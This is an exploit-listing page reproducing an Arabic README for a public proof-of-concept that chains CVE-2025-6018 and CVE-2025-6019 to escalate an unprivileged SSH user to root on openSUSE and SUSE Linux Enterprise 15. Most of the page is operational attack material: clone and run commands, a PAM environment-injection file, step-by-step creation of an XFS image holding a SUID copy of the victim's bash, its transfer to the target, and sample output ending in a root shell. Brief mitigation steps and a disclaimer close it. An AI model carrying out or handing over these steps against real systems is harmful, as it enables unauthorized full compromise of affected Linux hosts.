Sploitus

Exploit for CVE-2025-6018-6019

kitploit · 2026-08-28

Exploit Code

MARKDOWN349 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DESERTDEMONS-CVE-2025-6018-6019
# استغلال PoC لـ CVE-2025-6018 و CVE-2025-6019

## تصعيد الصلاحيات المحلي (LPE) - openSUSE / SUSE Linux Enterprise 15

![CVE-2025-6018](https://img.shields.io/badge/CVE--2025--6018-critical-red.svg) ![CVE-2025-6019](https://img.shields.io/badge/CVE--2025--6019-critical-red.svg) ![PoC](https://img.shields.io/badge/PoC-Available-brightgreen.svg) ![Exploit](https://img.shields.io/badge/Exploit-Working-brightgreen.svg) ![License](https://img.shields.io/badge/license-MIT-blue.svg)

> **استغلال PoC عامل لـ CVE-2025-6018 و CVE-2025-6019** \- تصعيد الصلاحيات من مستخدم غير مميز إلى الجذر على openSUSE Leap 15.x و SUSE Linux Enterprise 15.x

## 🎯 ملخص سريع

CVE ID| الثغرة| التأثير  
---|---|---  
**CVE-2025-6018**|  حقن متغيرات البيئة في PAM| تجاوز إلى حالة polkit `allow_active`  
**CVE-2025-6019**|  حالة سباق في تغيير حجم XFS عبر udisks2/libblockdev| **شل الجذر**  
  
### سلسلة الهجوم

root@kitploit:~
    
    
    Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
    

## 🔥 عرض توضيحي لمفهوم الإثبات

root@kitploit:~
    
    
    # التحقق من الثغرة
    ./exploit.sh --check
    
    # إعداد تجاوز PAM (CVE-2025-6018)
    ./exploit.sh --setup
    
    # أعد اتصال SSH، ثم: su - $USER
    
    # استغلال (CVE-2025-6019)
    ./exploit.sh --exploit /tmp/xfs.img
    
    # النتيجة: شل الجذر
    uid=1000(user) gid=1000(user) euid=0(root)
    

## 📥 التثبيت

root@kitploit:~
    
    
    git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
    cd CVE-2025-6018-6019
    chmod +x *.sh
    

## 🎯 الأنظمة المتأثرة

  * ✅ openSUSE Leap 15.0, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6
  * ✅ SUSE Linux Enterprise Server (SLES) 15 SP1-SP6
  * ✅ SUSE Linux Enterprise Desktop (SLED) 15 SP1-SP6



> **⚠️ ملاحظة:** يصل openSUSE Leap 15.6 إلى نهاية الدعم في **30 أبريل 2026**. بعد هذا التاريخ، لن يتم إصدار تصحيحات أمنية. يجب على المستخدمين الترحيل إلى Leap 16.0 أو SLES مع الدعم الممتد.

### المكونات الضعيفة

  * **PAM** (Linux-PAM 1.3.0 - 1.6.0) مع `user_readenv=1`
  * **udisks2** 2.9.x مع libblockdev
  * **polkit** مع `allow_active: yes` لإجراءات udisks2



## 📖 الاستخدام

### الخيار 1: التحقق من الثغرة

root@kitploit:~
    
    
    ./exploit.sh --check
    

### الخيار 2: إعداد تجاوز PAM (CVE-2025-6018)

root@kitploit:~
    
    
    ./exploit.sh --setup
    # ثم: اخرج من SSH، أعد الاتصال، نفذ: su - $USER
    

### الخيار 3: الاستغلال (CVE-2025-6019)

root@kitploit:~
    
    
    ./exploit.sh --exploit /tmp/xfs.img
    

### الخيار 4: الوضع التلقائي الكامل

root@kitploit:~
    
    
    ./exploit.sh --auto /tmp/xfs.img
    

### الخيار 5: عرض تعليمات إنشاء الصورة

root@kitploit:~
    
    
    ./exploit.sh --create-image
    

## 🛠️ إنشاء صورة XFS الحمولة

**نفذ على جهاز المهاجم كجذر:**

> **⚠️ يجب عليك استخدام ثنائي`/usr/bin/bash` للضحية**، وليس الثنائي المحلي الخاص بك. سيفشل ثنائي bash من توزيعة مختلفة (Kali, Arch, Ubuntu، إلخ) على الهدف بسبب عدم توافق ABI لمكتبات glibc/المشتركة — حتى على نفس بنية x86_64.

### باستخدام السكريبت المساعد (موصى به)

يكتشف السكريبت تلقائياً إصدار xfsprogs ويطبق العلامات الصحيحة:

root@kitploit:~
    
    
    # احصل على bash الضحية أولاً
    scp user@target:/usr/bin/bash /tmp/victim_bash
    
    # إنشاء الصورة (يكتشف تلقائيًا علامات mkfs الآمنة)
    sudo ./create_image.sh /tmp/victim_bash xfs.img
    
    # لأهداف SUSE 15 SP1-SP4 (kernel < 5.14)، استخدم وضع التوافق:
    sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
    

### الإنشاء اليدوي

root@kitploit:~
    
    
    sudo su -
    
    # 1. احصل على ثنائي bash للضحية
    scp user@target:/usr/bin/bash /tmp/bash
    
    # 2. إنشاء صورة XFS بحجم 300MB مع علامات آمنة
    dd if=/dev/zero of=xfs.img bs=1M count=300
    mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
    
    # 3. تحميل مع دعم SUID
    mkdir -p /tmp/mnt
    mount -o loop,suid xfs.img /tmp/mnt
    
    # 4. نسخ bash الضحية وتعيين بت SUID
    cp /tmp/bash /tmp/mnt/xpl
    chmod 4755 /tmp/mnt/xpl
    chown root:root /tmp/mnt/xpl
    ls -la /tmp/mnt/xpl  # يجب أن يظهر: -rwsr-xr-x
    
    # 5. فك التحميل ونقل
    umount /tmp/mnt
    scp xfs.img user@target:/tmp/
    

### توافق تنسيق XFS

يجب **أن** يتم تنسيق صورة XFS بعلامات متوافقة مع نواة الهدف. الإصدارات الأحدث من `xfsprogs` تفعّل ميزات القرص الافتراضية التي لا تستطيع نوى SUSE الأقدم قراءتها، مما يسبب أخطاء `wrong fs type, bad superblock` أثناء تحميل تغيير الحجم عبر udisks2.

الهدف| النواة| أمر mkfs.xfs  
---|---|---  
SUSE 15 SP5-SP6| 5.14 / 6.4| `mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img`  
SUSE 15 SP1-SP4| 4.12 - 5.3| `mkfs.xfs -f -m crc=0,reflink=0 xfs.img`  
  
**لماذا؟** ميزتا `exchange` و `parent` هما ميزات للنواة 6.10+ (مفعلة افتراضياً في xfsprogs 6.x). `bigtime`, `inobtcount`, و `nrext64` هي ميزات للنواة 5.10+. أمر "التوافق" SP1-SP4 (`-m crc=0,reflink=0`) ينشئ تنسيق XFS V4 مع تعطيل جميع الميزات الحديثة، والذي يعمل على كل إصدار SUSE 15 SP.

## 🔬 التفاصيل التقنية

### CVE-2025-6018: حقن بيئة PAM

**الثغرة:** يقرأ وحدة `pam_env` في PAM ملف `~/.pam_environment` مع `user_readenv=1` (الافتراضي على SUSE)، مما يسمح بحقن متغيرات البيئة.

**الاستغلال:** تعيين `XDG_SEAT=seat0` و `XDG_VTNR=1` لخداع systemd-logind لمنح صلاحيات polkit `allow_active`.

root@kitploit:~
    
    
    # ~/.pam_environment
    XDG_SEAT=seat0
    XDG_VTNR=1
    

### CVE-2025-6019: حالة سباق تغيير حجم XFS

**الثغرة:** عند تغيير حجم نظام ملفات XFS عبر udisks2، يقوم libblockdev بتحميل نظام الملفات مؤقتاً **بدون** علامة `nosuid`.

**الاستغلال:**

  1. إنشاء صورة XFS تحتوي على ثنائي جذر SUID
  2. إعداد جهاز الحلقة
  3. تشغيل تغيير الحجم عبر D-Bus
  4. التسابق لتنفيذ الثنائي SUID أثناء التحميل المؤقت
  5. الحصول على شل الجذر



## 📋 دليل الاستغلال الكامل

### الخطوة 1: التحقق من الثغرة

root@kitploit:~
    
    
    ./exploit.sh --check
    

المخرجات:

root@kitploit:~
    
    
    [+] pam_env.so found in PAM configuration
    [+] pam_systemd.so found - escalation vector available
    [+] Target OS is vulnerable (openSUSE/SLES)
    [-] allow_active status: NO
    

### الخطوة 2: إعداد تجاوز PAM

root@kitploit:~
    
    
    ./exploit.sh --setup
    exit
    ssh user@target
    su - $USER
    

### الخطوة 3: التحقق من allow_active

root@kitploit:~
    
    
    ./exploit.sh --check
    

المخرجات:

root@kitploit:~
    
    
    [+] allow_active status: YES
        You have allow_active privileges!
    

### الخطوة 4: نقل صورة XFS

root@kitploit:~
    
    
    # على المهاجم:
    scp xfs.img user@target:/tmp/
    

### الخطوة 5: الاستغلال

root@kitploit:~
    
    
    ./exploit.sh --exploit /tmp/xfs.img
    

المخرجات:

root@kitploit:~
    
    
    [+] Loop device created: /dev/loop0
    [+] Loop device verified as XFS
    [*] Starting race condition loop...
    [*] Triggering XFS resize on loop0...
    
    === ROOT SHELL OBTAINED ===
    uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
    
    root@target#
    

## 🔧 استكشاف الأخطاء وإصلاحها

## 🛡️ التخفيف

### الإصلاح الفوري

root@kitploit:~
    
    
    # تعطيل user_readenv في PAM
    sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
    
    # أو تقييد سياسة polkit لـ udisks2
    # غيّر allow_active من "yes" إلى "auth_admin"
    

### تصحيحات البائع

  * قم بتحديث حزم PAM و udisks2 و libblockdev
  * تحقق من النشرات الأمنية لـ SUSE



## 📚 المراجع

  * النشرة الأمنية لـ Qualys
  * الشرح الفني لـ Qualys
  * SUSE CVE-2025-6018
  * SUSE CVE-2025-6019
  * NVD CVE-2025-6018
  * NVD CVE-2025-6019



## 🏆 الاعتمادات

  * **وحدة أبحاث التهديدات في Qualys** \- اكتشاف الثغرة الأصلي
  * **DesertDemons** \- تطوير استغلال PoC
  * **Jazzruran** \- تقرير وإصلاح خطأ عدم توافق إصدار xfsprogs (#1)



## ⚠️ إخلاء المسؤولية

هذه الأداة مخصصة **للاختبارات الأمنية المصرح بها والأغراض التعليمية فقط**. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلفون غير مسؤولين عن أي سوء استخدام.

## 📄 الترخيص

MIT License

* * *

## 🔍 الكلمات المفتاحية

`CVE-2025-6018` `CVE-2025-6019` `PoC` `Proof of Concept` `Exploit` `Privilege Escalation` `LPE` `Local Privilege Escalation` `Root` `openSUSE` `SUSE` `SLES` `PAM` `pam_env` `udisks2` `libblockdev`

* * *

**⭐ قم بتمييز هذا المستودع بنجمة إذا ساعدك! ⭐**